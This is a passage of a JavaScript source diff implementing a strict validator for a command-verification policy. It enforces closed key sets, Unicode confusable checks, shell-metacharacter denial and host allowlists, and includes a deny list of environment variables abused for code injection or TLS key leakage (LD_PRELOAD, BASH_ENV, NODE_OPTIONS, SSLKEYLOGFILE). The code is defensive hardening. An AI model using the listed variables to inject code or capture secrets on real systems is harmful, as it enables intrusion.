MAX_ENV_ENTRIES = 16; +export const MAX_NETWORK_HOSTS = 8; +export const MAX_ENUM_VALUES = 16; +export const MAX_EXECUTABLE_BYTES = 4096; +export const MAX_EXECUTABLE_SEGMENTS = 32; +export const MAX_ARGV_TOKEN_BYTES = 256; +export const MAX_ENV_NAME_BYTES = 64; +export const MAX_ENV_VALUE_BYTES = PARAM_VALUE_MAX_BYTES; +export const MAX_HOST_BYTES = 253; +export const MAX_PARAM_STRING_BYTES = PARAM_VALUE_MAX_BYTES; +export const DEFAULT_TIMEOUT_MS = 60_000; +export const DEFAULT_OUTPUT_BYTES = 65_536; +export const DEFAULT_ERROR_BYTES = 65_536; +export const MAX_OUTPUT_BYTES = 1_048_576; +export const MAX_ERROR_BYTES = 1_048_576; + +export const NETWORK_MODES = capturedFreeze(['allowlist', 'deny']); +export const MUTATION_WORKSPACES = capturedFreeze(['ephemeral', 'none']); +export const PARAMETER_TYPES = capturedFreeze([ + 'boolean', 'enum', 'integer', 'path_segment', 'string', +]); + +export const POLICY_ALLOWED_KEYS = capturedFreeze(['schema', 'version', 'commands']); +export const POLICY_REQUIRED_KEYS = POLICY_ALLOWED_KEYS; +export const COMMAND_ALLOWED_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'environment', 'executable', 'mutation', + 'network', 'parameters', 'resources', 'timeout_ms', +]); +export const COMMAND_REQUIRED_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'executable', +]); +export const COMMAND_RECEIPT_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'environment', 'executable', 'mutation', + 'network', 'parameters', 'resources', 'timeout_ms', +]); +export const UNTRUSTED_COMMAND_ALLOWED_KEYS = capturedFreeze(['command_id', 'parameters']); +export const NETWORK_ALLOWED_KEYS = capturedFreeze(['hosts', 'mode']); +export const ENVIRONMENT_ALLOWED_KEYS = capturedFreeze(['entries']); +export const ENV_ENTRY_ALLOWED_KEYS = capturedFreeze(['name', 'value']); +export const MUTATION_ALLOWED_KEYS = capturedFreeze(['persistent', 'workspace']); +export const RESOURCES_ALLOWED_KEYS = capturedFreeze(['max_error_bytes', 'max_output_bytes']); +export const STRING_DOMAIN_KEYS = capturedFreeze(['max_bytes', 'type']); +export const INTEGER_DOMAIN_KEYS = capturedFreeze(['max', 'min', 'type']); +export const BOOLEAN_DOMAIN_KEYS = capturedFreeze(['type']); +export const ENUM_DOMAIN_KEYS = capturedFreeze(['type', 'values']); +export const PATH_SEGMENT_DOMAIN_KEYS = capturedFreeze(['max_bytes', 'type']); +export const LOADER_OPTION_KEYS = capturedFreeze(['env', 'ownerConfigDir']); +export const LOADER_ENV_KEYS = capturedFreeze(['HOME', 'XDG_CONFIG_HOME']); + +export const DENIED_ENV_NAMES = capturedFreeze([ + 'BASH_ENV', 'CDPATH', 'ENV', 'GCONV_PATH', 'HOSTALIASES', 'IFS', + 'LD_AUDIT', 'LD_LIBRARY_PATH', 'LD_PRELOAD', 'LOCALDOMAIN', 'NODE_OPTIONS', + 'NODE_PATH', 'PATH', 'PERL5LIB', 'PYTHONPATH', 'SSLKEYLOGFILE', + 'SHELLOPTS', 'TERMINFO', 'TERMPATH', +]); + +export const VERIFICATION_POLICY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_id_denied', + 'control_character_denied', 'duplicate_id', 'duplicate_parameter', + 'env_name_denied', 'executable_content_denied', 'exotic_prototype_denied', + 'invalid_array', 'invalid_encoding', 'invalid_format', 'invalid_json_type', + 'invalid_json_value', 'invalid_type', 'missing_key', + 'mutation_permission_denied', 'network_content_denied', + 'non_enumerable_property_denied', 'own_undefined_denied', 'out_of_range', + 'placeholder_unbound', 'policy_catalog_changed_during_read', + 'policy_catalog_not_owner_controlled', 'policy_catalog_not_regular', + 'policy_catalog_too_large', 'policy_catalog_unreadable', + 'policy_options_denied', 'proxy_denied', 'resource_limit_denied', + 'shell_content_denied', 'symbol_key_denied', 'unknown_key', + 'value_depth_exceeded', +]); + +const PRIVATE_COMMAND_ID_PATTERN = /^[a-z][a-z0-9._-]{0,63}$/u; +const PRIVATE_PARAM_KEY_PATTERN = /^[a-z][a-z0-9_-]{0,31}$/u; +const PRIVATE_PLACEHOLDER_PATTERN = /^\{[a-z][a-z0-9_-]{0,31}\}$/u; +const PRIVATE_ENV_NAME_PATTERN = /^[A-Z][A-Z0-9_]{0,62}$/u; +const PRIVATE_HOST_PATTERN = /^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_LITERAL_PATTERN = /^[A-Za-z0-9._+/=:,@%-]+$/u; +const PRIVATE_PATH_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_ENUM_VALUE_PATTERN = /^[A-Za-z0-9._+-]+$/u; + +export const COMMAND_ID_PATTERN = new RegExp( + PRIVATE_COMMAND_ID_PATTERN.source, PRIVATE_COMMAND_ID_PATTERN.flags, +); +export const PLACEHOLDER_PATTERN = new RegExp( + PRIVATE_PLACEHOLDER_PATTERN.source, PRIVATE_PLACEHOLDER_PATTERN.flags, +); + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + ambiguous_id_denied: 'Ambiguous Unicode, compatibility, or confusable identity text is denied.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + duplicate_parameter: 'A duplicate parameter or placeholder binding was denied.', + env_name_denied: 'An environment name is outside the closed allowlist.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted policy has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_content_denied: 'Untrusted input must not contribute network targets.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + policy_catalog_changed_during_read: 'The owner policy catalog changed while it was read.', + policy_catalog_not_owner_controlled: 'The owner policy catalog must be owner-controlled.', + policy_catalog_not_regular: 'The owner policy catalog must be a regular non-symlink file.', + policy_catalog_too_large: 'The owner policy catalog exceeds the bounded size.', + policy_catalog_unreadable: 'The owner policy catalog could not be read safely.', + policy_options_denied: 'Loader options must be a closed direct-JSON object.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', +})); + +const INVISIBLE_RANGES = capturedFreeze([ + [0x00ad, 0x00ad], + [0x061c, 0x061c], + [0x180e, 0x180e], + [0x200b, 0x200f], + [0x2028, 0x202e], + [0x2060, 0x2064], + [0x2066, 0x2069], + [0xfeff, 0xfeff], + [0xfff9, 0xfffb], + [0x1d173, 0x1d17a], + [0xe0001, 0xe0001], + [0xe0020, 0xe007f], +]); +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, 0x2215, 0x27cb, 0x27cd, 0x29f8, 0xfe68, 0xff0f, 0xff3c, +]); +const CONFUSABLE_HYPHENS = capturedFreeze([ + 0x00ad, 0x2010, 0x2011, 0x2012, 0x2013, 0x2014, 0x2015, 0x2212, 0xfe58, 0xfe63, 0xff0d, +]); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'shell', 'shellcommand', 'template', + 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_IS = Object.is; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const NUMBER_IS_FINITE = Number.isFinite; +const REFLECT_APPLY = Reflect.apply; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_CHAR_CODE_AT = Function.prototype.call.bind(String.prototype.charCodeAt); +const STRING_CODE_POINT_AT = Function.prototype.call.bind(String.prototype.codePointAt); +const STRING_NORMALIZE = Function.prototype.call.bind(String.prototype.normalize); +const STRING_SLICE = Function.prototype.call.bind(String.prototype.slice); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const STRING_ENDS_WITH = Function.prototype.call.bind(String.prototype.endsWith); +const STRING_SPLIT = Function.prototype.call.bind(String.prototype.split); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const ARRAY_PUSH = Array.prototype.push; +const ARRAY_SORT = Function.prototype.call.bind(Array.prototype.sort); +const ARRAY_PROTOTYPE = Array.prototype; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const JSON_PARSE = JSON.parse; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const TEXT_DECODER = TextDecoder; +const TEXT_DECODER_DECODE = TextDecoder.prototype.decode; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const OS_HOMEDIR = homedir; +const FS_OPEN = open; +const FS_LSTAT = lstat; + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function compareText(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function inRangeList(ranges, codePoint) { + for (let index = 0; index < ranges.length; index += 1) { + const range = ranges[index]; + if (codePoint >= range[0] && codePoint <= range[1]) return true; + } + return false; +} + +function includesCode(list, codePoint) { + for (let index = 0; index < list.length; index += 1) { + if (list[index] === codePoint) return true; + } + return false; +} + +function assertSafeText(value, path) { + if (typeof value !== 'string') deny('invalid_type', path); + let index = 0; + while (index < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, index); + if (codePoint >= 0xd800 && codePoint <= 0xdfff) deny('invalid_encoding', path); + if (codePoint < 0x20 || (codePoint >= 0x7f && codePoint <= 0x9f)) { + deny('control_character_denied', path); + } + if (inRangeList(INVISIBLE_RANGES, codePoint)) deny('control_character_denied', path); + if (includesCode(SEPARATOR_LOOKALIKES, codePoint)) deny('ambiguous_id_denied', path); + if (includesCode(CONFUSABLE_HYPHENS, codePoint)) deny('ambiguous_id_denied', path); + if (codePoint > 0x7e) deny('ambiguous_id_denied', path); + index += codePoint > 0xffff ? 2 : 1; + } + let nfc; + let nfkc; + try { + nfc = STRING_NORMALIZE(value, 'NFC'); + nfkc = STRING_NORMALIZE(value, 'NFKC'); + } catch { + deny('invalid_encoding', path); + } + if (nfc !== value || nfkc !== value) deny('ambiguous_id_denied', path); + return value; +} + +function assertBoundedString(value, path, maxBytes) { + assertSafeText(value, path); + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > maxBytes) deny('out_of_range', path); + return value; +} + +function assertCommandId(value, path) { + assertSafeText(value, path); + if (!isCommandId(value) || capturedUtf8ByteLength(value) > COMMAND_ID_MAX + || !capturedTest(PRIVATE_COMMAND_ID_PATTERN, value)) { + deny('invalid_format', path); + } + return value; +} + +function assertParamName(value, path) { + assertSafeText(value, path); + if (!isParamKey(value) || !capturedTest(PRIVATE_PARAM_KEY_PATTERN, value)) { + deny('invalid_format', path); + } + return value; +} + +function assertSafeInteger(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || !NUMBER_IS_FINITE(value) + || OBJECT_IS(value, -0)) { + deny('invalid_type', path); + } + if (value < min || value > max) deny('out_of_range', path); + return value; +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyUntrustedKey(key) { + if (key === 'command_id' || key === 'parameters') return null; + const folded = foldKey(key); + if (folded === 'commandid' || folded === 'parameters') return 'unknown_key'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertExactKeys(value, allowed, required, path) { + const allowedSet = new SET_CTOR(allowed); + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!SET_HAS.call(allowedSet, key)) deny('unknown_key', path); + } + for (let index = 0; index < required.length; index += 1) { + if (!hasOwn(value, required[index])) deny('missing_key', `${path}.${required[index]}`); + } + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); +} + +function assertDenseArray(value, path, maxLength) { + assertNotProxy(value, path); + if (!capturedIsArray(value)) deny('invalid_type', path); + let prototype; + try { + prototype = capturedGetPrototypeOf(value); + } catch { + deny('exotic_prototype_denied', path); + } + if (prototype !== ARRAY_PROTOTYPE && prototype !== null) deny('exotic_prototype_denied', path); + const lengthDescriptor = capturedDescriptor(value, 'length'); + if (!lengthDescriptor || lengthDescriptor.enumerable + || lengthDescriptor.get !== undefined || lengthDescriptor.set !== undefined + || typeof lengthDescriptor.value !== 'number' + || !NUMBER_IS_SAFE_INTEGER(lengthDescriptor.value) || lengthDescriptor.value < 0) { + deny('invalid_array', `${path}.length`); + } + const length = lengthDescriptor.value; + if (length > maxLength) deny('out_of_range', path); + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (key === 'length') continue; + const numeric = Number(key); + if (!NUMBER_IS_SAFE_INTEGER(numeric) || STRING(numeric) !== key || numeric < 0 || numeric >= length) { + deny('invalid_array', path); + } + } + for (let index = 0; index < length; index += 1) { + if (!hasOwn(value, STRING(index))) deny('invalid_array', `${path}[${index}]`); + } + return length; +} + +function assertPolicyBounds(value, path) { + let nodes = 0; + let stringBytes = 0; + const walk = (node, depth, nodePath) => { + nodes += 1; + if (nodes > MAX_POLICY_NODES) deny('out_of_range', nodePath); + if (depth > MAX_POLICY_DEPTH) deny('value_depth_exceeded', nodePath); + if (typeof node === 'string') { + stringBytes += BUFFER_BYTE_LENGTH(node, 'utf8'); + if (stringBytes > MAX_POLICY_TOTAL_STRING_BYTES) deny('out_of_range', nodePath); + return; + } + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + if (node.length > MAX_POLICY_OBJECT_KEYS && nodePath !== `${path}.commands`) { + if (node.length > MAX_ARGV_TOKENS && node.length > MAX_COMMANDS) deny('out_of_range', nodePath); + } + for (let index = 0; index < node.length; index += 1) { + walk(node[index], depth + 1, `${nodePath}[${index}]`); + } + return; + } + const keys = sortedCapturedKeys(node); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', nodePath); + for (let index = 0; index < keys.length; index += 1) { + walk(node[keys[index]], depth + 1, `${nodePath}.${keys[index]}`); + } + }; + walk(value, 0, path); +} + +function isDotOnly(segment) { + if (segment.length === 0) return false; + for (let index = 0; index < segment.length; index += 1) { + if (STRING_CHAR_CODE_AT(segment, index) !== 0x2e) return false; + } + return true; +} + +function assertExecutablePath(value, path) { + assertBoundedString(value, path, MAX_EXECUTABLE_BYTES); + if (!STRING_STARTS_WITH(value, '/')) deny('invalid_format', path); + if (STRING_ENDS_WITH(value, '/')) deny('invalid_format', path); + for (let index = 0; index < value.length; index += 1) { + const unit = STRING_CHAR_CODE_AT(value, index); + if (unit === 0x5c || unit === 0x3a) deny('invalid_format', path); + } + const segments = STRING_SPLIT(value, '/'); + if (segments.length < 2 || segments.length > MAX_EXECUTABLE_SEGMENTS) deny('out_of_range', path); + if (segments[0] !== '') deny('invalid_format', path); + for (let index = 1; index < segments.length; index += 1) { + const segment = segments[index]; + if (segment.length === 0 || isDotOnly(segment) || !capturedTest(PRIVATE_SEGMENT_PATTERN, segment)) { + deny('invalid_format', path); + } + } + return value; +} + +function parseParameterDomain(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + if (!hasOwn(input, 'type')) deny('missing_key', `${path}.type`); + const type = optOwn(input, 'type'); + if (!capturedIncludes(PARAMETER_TYPES, type)) deny('invalid_format', `${path}.type`); + if (type === 'string') { + assertExactKeys(input, STRING_DOMAIN_KEYS, STRING_DOMAIN_KEYS, path); + return freezeRecord(STRING_DOMAIN_KEYS, { + type, + max_bytes: assertSafeInteger(optOwn(input, 'max_bytes'), `${path}.max_bytes`, 1, MAX_PARAM_STRING_BYTES), + }); + } + if (type === 'path_segment') { + assertExactKeys(input, PATH_SEGMENT_DOMAIN_KEYS, PATH_SEGMENT_DOMAIN_KEYS, path); + return freezeRecord(PATH_SEGMENT_DOMAIN_KEYS, { + type, + max_bytes: assertSafeInteger(optOwn(input, 'max_bytes'), `${path}.max_bytes`, 1, 128), + }); + } + if (type === 'integer') { + assertExactKeys(input, INTEGER_DOMAIN_KEYS, INTEGER_DOMAIN_KEYS, path); + const min = assertSafeInteger(optOwn(input, 'min'), `${path}.min`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + const max = assertSafeInteger(optOwn(input, 'max'), `${path}.max`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + if (min > max) deny('out_of_range', path); + return freezeRecord(INTEGER_DOMAIN_KEYS, { type, min, max }); + } + if (type === 'boolean') { + assertExactKeys(input, BOOLEAN_DOMAIN_KEYS, BOOLEAN_DOMAIN_KEYS, path); + return freezeRecord(BOOLEAN_DOMAIN_KEYS, { type }); + } + assertExactKeys(input, ENUM_DOMAIN_KEYS, ENUM_DOMAIN_KEYS, path); + const valuesInput = optOwn(input, 'values'); + const length = assertDenseArray(valuesInput, `${path}.values`, MAX_ENUM_VALUES); + if (length < 1) deny('out_of_range', `${path}.values`); + const seen = new SET_CTOR(); + const values = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.values[${index}]`; + const value = optOwn(valuesInput, STRING(index)); + assertBoundedString(value, entryPath, MAX_PARAM_STRING_BYTES); + if (!capturedTest(PRIVATE_ENUM_VALUE_PATTERN, value)) deny('invalid_format', entryPath); + if (SET_HAS.call(seen, value)) deny('duplicate_id', entryPath); + SET_ADD.call(seen, value); + ARRAY_PUSH.call(values, value); + } + ARRAY_SORT(values, compareText); + return freezeRecord(ENUM_DOMAIN_KEYS, { type, values: freezeList(values) }); +} + +function parseParameters(input, path) { + if (input === undefined) return freezeRecord([], {}); + assertPlainObject(input, 'invalid_type', path, path); + const keys = sortedCapturedKeys(input); + if (keys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + assertParamName(key, `${path}.${key}`); + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + values[key] = parseParameterDomain(optOwn(input, key), `${path}.${key}`); + } + return freezeRecord(keys, values); +} + +function parseArgvTemplate(input, parameters, path) { + const length = assertDenseArray(input, path, MAX_ARGV_TOKENS); + if (length < 1) deny('out_of_range', path); + const tokens = []; + const used = new SET_CTOR(); + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}[${index}]`; + const token = optOwn(input, STRING(index)); + assertBoundedString(token, entryPath, MAX_ARGV_TOKEN_BYTES); + if (capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token)) { + const name = STRING_SLICE(token, 1, token.length - 1); + if (!capturedHasOwn(parameters, name)) deny('placeholder_unbound', entryPath); + if (SET_HAS.call(used, name)) deny('duplicate_parameter', entryPath); + SET_ADD.call(used, name); + ARRAY_PUSH.call(tokens, token); + continue; + } + if (!capturedTest(PRIVATE_LITERAL_PATTERN, token)) deny('shell_content_denied', entryPath); + ARRAY_PUSH.call(tokens, token); + } + return freezeList(tokens); +} + +function parseNetwork(input, path) { + if (input === undefined) { + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'deny', hosts: freezeList([]) }); + } + assertPlainObject(input, 'invalid_type', path, path); + if (!hasOwn(input, 'mode')) deny('missing_key', `${path}.mode`); + const mode = optOwn(input, 'mode'); + if (!capturedIncludes(NETWORK_MODES, mode)) deny('invalid_format', `${path}.mode`); + if (mode === 'deny') { + assertExactKeys(input, capturedFreeze(['mode']), capturedFreeze(['mode']), path); + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'deny', hosts: freezeList([]) }); + } + assertExactKeys(input, NETWORK_ALLOWED_KEYS, NETWORK_ALLOWED_KEYS, path); + const hostsInput = optOwn(input, 'hosts'); + const length = assertDenseArray(hostsInput, `${path}.hosts`, MAX_NETWORK_HOSTS); + if (length < 1) deny('out_of_range', `${path}.hosts`); + const seen = new SET_CTOR(); + const hosts = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.hosts[${index}]`; + const host = optOwn(hostsInput, STRING(index)); + assertBoundedString(host, entryPath, MAX_HOST_BYTES); + if (!capturedTest(PRIVATE_HOST_PATTERN, host)) deny('invalid_format', entryPath); + if (SET_HAS.call(seen, host)) deny('duplicate_id', entryPath); + SET_ADD.call(seen, host); + ARRAY_PUSH.call(hosts, host); + } + ARRAY_SORT(hosts, compareText); + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'allowlist', hosts: freezeList(hosts) }); +} + +function parseEnvironment(input, path) { + if (input === undefined) { + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList([]) }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, ENVIRONMENT_ALLOWED_KEYS, capturedFreeze([]), path); + if (!hasOwn(input, 'entries')) { + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList([]) }); + } + const entriesInput = optOwn(input, 'entries'); + const length = assertDenseArray(entriesInput, `${path}.entries`, MAX_ENV_ENTRIES); + const seen = new SET_CTOR(); + const entries = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.entries[${index}]`; + const entry = optOwn(entriesInput, STRING(index)); + assertPlainObject(entry, 'invalid_type', entryPath, entryPath); + assertExactKeys(entry, ENV_ENTRY_ALLOWED_KEYS, ENV_ENTRY_ALLOWED_KEYS, entryPath); + const name = optOwn(entry, 'name'); + assertBoundedString(name, `${entryPath}.name`, MAX_ENV_NAME_BYTES); + if (!capturedTest(PRIVATE_ENV_NAME_PATTERN, name) || capturedIncludes(DENIED_ENV_NAMES, name)) { + deny('env_name_denied', `${entryPath}.name`); + } + if (SET_HAS.call(seen, name)) deny('duplicate_id', `${entryPath}.name`); + SET_ADD.call(seen, name); + const value = optOwn(entry, 'value'); + assertBoundedString(value, `${entryPath}.value`, MAX_ENV_VALUE_BYTES); + if (!capturedTest(PRIVATE_LITERAL_PATTERN, value)) deny('shell_content_denied', `${entryPath}.value`); + ARRAY_PUSH.call(entries, freezeRecord(ENV_ENTRY_ALLOWED_KEYS, { name, value })); + } + entries.sort((left, right) => compareText(left.name, right.name)); + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList(entries) }); +} + +function parseMutation(input, path) { + if (input === undefined) { + return freezeRecord(MUTATION_ALLOWED_KEYS, { persistent: false, workspace: 'none' }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, MUTATION_ALLOWED_KEYS, capturedFreeze(['persistent']), path); + const persistent = optOwn(input, 'persistent'); + if (persistent !== true && persistent !== false) deny('invalid_type', `${path}.persistent`); + let workspace = 'none'; + if (hasOwn(input, 'workspace')) { + workspace = optOwn(input, 'workspace'); + if (!capturedIncludes(MUTATION_WORKSPACES, workspace)) deny('invalid_format', `${path}.workspace`); + } + if (persistent === true && workspace === 'none') deny('invalid_format', `${path}.workspace`); + return freezeRecord(MUTATION_ALLOWED_KEYS, { persistent, workspace }); +} + +function parseResources(input, path) { + if (input === undefined) { + return freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: DEFAULT_OUTPUT_BYTES, + max_error_bytes: DEFAULT_ERROR_BYTES, + }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, RESOURCES_ALLOWED_KEYS, capturedFreeze([]), path); + const maxOutput = hasOwn(input, 'max_output_bytes') + ? assertSafeInteger(optOwn(input, 'max_output_bytes'), `${path}.max_output_bytes`, 1, MAX_OUTPUT_BYTES) + : DEFAULT_OUTPUT_BYTES; + const maxError = hasOwn(input, 'max_error_bytes') + ? assertSafeInteger(optOwn(input, 'max_error_bytes'), `${path}.max_error_bytes`, 1, MAX_ERROR_BYTES) + : DEFAULT_ERROR_BYTES; + return freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: maxOutput, + max_error_bytes: maxError, + }); +} + +function parseTimeout(input, path) { + if (input === undefined) return DEFAULT_TIMEOUT_MS; + return assertSafeInteger(input, path, MIN_DURATION_MS, MAX_TIMEOUT_MS); +} + +export const DEFAULT_NETWORK_RECEIPT = parseNetwork(undefined, 'network'); +export const DEFAULT_ENVIRONMENT_RECEIPT = parseEnvironment(undefined, 'environment'); +export const DEFAULT_MUTATION_RECEIPT = parseMutation(undefined, 'mutation'); +export const DEFAULT_RESOURCES_RECEIPT = parseResources(undefined, 'resources'); + +function parseCommand(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, COMMAND_ALLOWED_KEYS, COMMAND_REQUIRED_KEYS, path); + const commandId = assertCommandId(optOwn(input, 'command_id'), `${path}.command_id`); + const executable = assertExecutablePath(optOwn(input, 'executable'), `${path}.executable`); + const parameters = parseParameters( + hasOwn(input, 'parameters') ? optOwn(input, 'parameters') : undefined, + `${path}.parameters`, + ); + const argvTemplate = parseArgvTemplate(optOwn(input, 'argv_template'), parameters, `${path}.argv_template`); + return freezeRecord(COMMAND_RECEIPT_KEYS, { + command_id: commandId, + executable, + argv_template: argvTemplate, + parameters, + network: parseNetwork(hasOwn(input, 'network') ? optOwn(input, 'network') : undefined, `${path}.network`), + environment: parseEnvironment( + hasOwn(input, 'environment') ? optOwn(input, 'environment') : undefined, + `${path}.environment`, + ), + mutation: parseMutation(hasOwn(input, 'mutation') ? optOwn(input, 'mutation') : undefined, `${path}.mutation`), + timeout_ms: parseTimeout(hasOwn(input, 'timeout_ms') ? optOwn(input, 'timeout_ms') : undefined, `${path}.timeout_ms`), + resources: parseResources(hasOwn(input, 'resources') ? optOwn(input, 'resources') : undefined, `${path}.resources`), + }); +} + +export function parseVerificationCommandDescriptorV1(input, path = 'command') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + return parseCommand(input, path); +} + +function emptyPolicy() { + return freezeRecord(POLICY_ALLOWED_KEYS, { + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: freezeList([]), + }); +} + +export function parseVerificationPolicyV1(input, path = 'policy') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + assertExactKeys(input, POLICY_ALLOWED_KEYS, POLICY_REQUIRED_KEYS, path); + const schema = optOwn(input, 'schema'); + if (schema !== VERIFICATION_POLICY_SCHEMA_ID) deny('invalid_format', `${path}.schema`); + const version = optOwn(input, 'version'); + if (version !== 